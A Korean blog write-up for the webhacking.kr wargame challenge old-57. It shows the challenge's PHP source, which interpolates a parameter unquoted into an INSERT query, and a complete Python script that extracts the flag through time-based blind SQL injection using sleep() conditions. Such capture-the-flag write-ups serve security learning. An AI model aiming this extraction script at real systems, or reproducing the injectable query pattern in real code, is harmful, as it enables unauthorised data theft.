write-up(web)/webhacking.kr

[Webhacking.kr] old-57

chanchand 2023. 1. 11. 02:52
반응형

문제


 

message에 입력하고 제출하면 Done 화면이 출력되고, db에 추가된다.

<?php
  include "../../config.php";
  include "./flag.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
  $db = dbconnect();
  if($_GET['msg'] && isset($_GET['se'])){
    $_GET['msg'] = addslashes($_GET['msg']);
    $_GET['se'] = addslashes($_GET['se']);
    if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
    mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
    echo "Done<br><br>";
    if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
  }
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>

 

 

 

 

문제풀이


GET 방식으로 msg와 sg 값이 전송되는데, msg는 message에 입력하는 값이고, se는 secret의 라디오 버튼 값이다.

값이 올바르게 전송되면 Done이 출력된다.

 

필터링 문자 중 benchmark가 있는데, 이는 time-based sql injection에 사용되는 함수이다.

time-based sql injection을 통해 플래그 값을 획득하면 될 것 같다.

 

import requests
import time

cookie={'PHPSESSID':''}
url="https://webhacking.kr/challenge/web-34/index.php?msg=1&se="

# flag_len
flag_len=0
for i in range(50):
  query="if(length(pw)={},sleep(5),1)".format(i)
  pre_time=time.time()

  res=requests.get(url+query, cookies=cookie)
  if (res.text.find("Done")!=-1):
    cur_time=time.time()
  if cur_time-pre_time>=5:
    flag_len=i
    break

print("flag_len:{}".format(flag_len))


# flag
flag=""

for i in range(1,flag_len+1):
  for j in range(33,128):
    query="if(ascii(substr(pw,{},1))={},sleep(5),1)".format(i,j)
    pre_time=time.time()

    res=requests.get(url+query, cookies=cookie)

    if (res.text.find("Done")!=-1):
      cur_time=time.time()
    if (cur_time-pre_time>=5):
      flag+=chr(j)
      print(flag)
      break

print("flag:{}".format(flag))

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-60  (0) 2023.01.15
[Webhacking.kr] old-59  (0) 2023.01.14
[Webhacking.kr] old-56  (0) 2023.01.10
[Webhacking.kr] old-55  (0) 2023.01.10
[Webhacking.kr] old-54  (0) 2023.01.09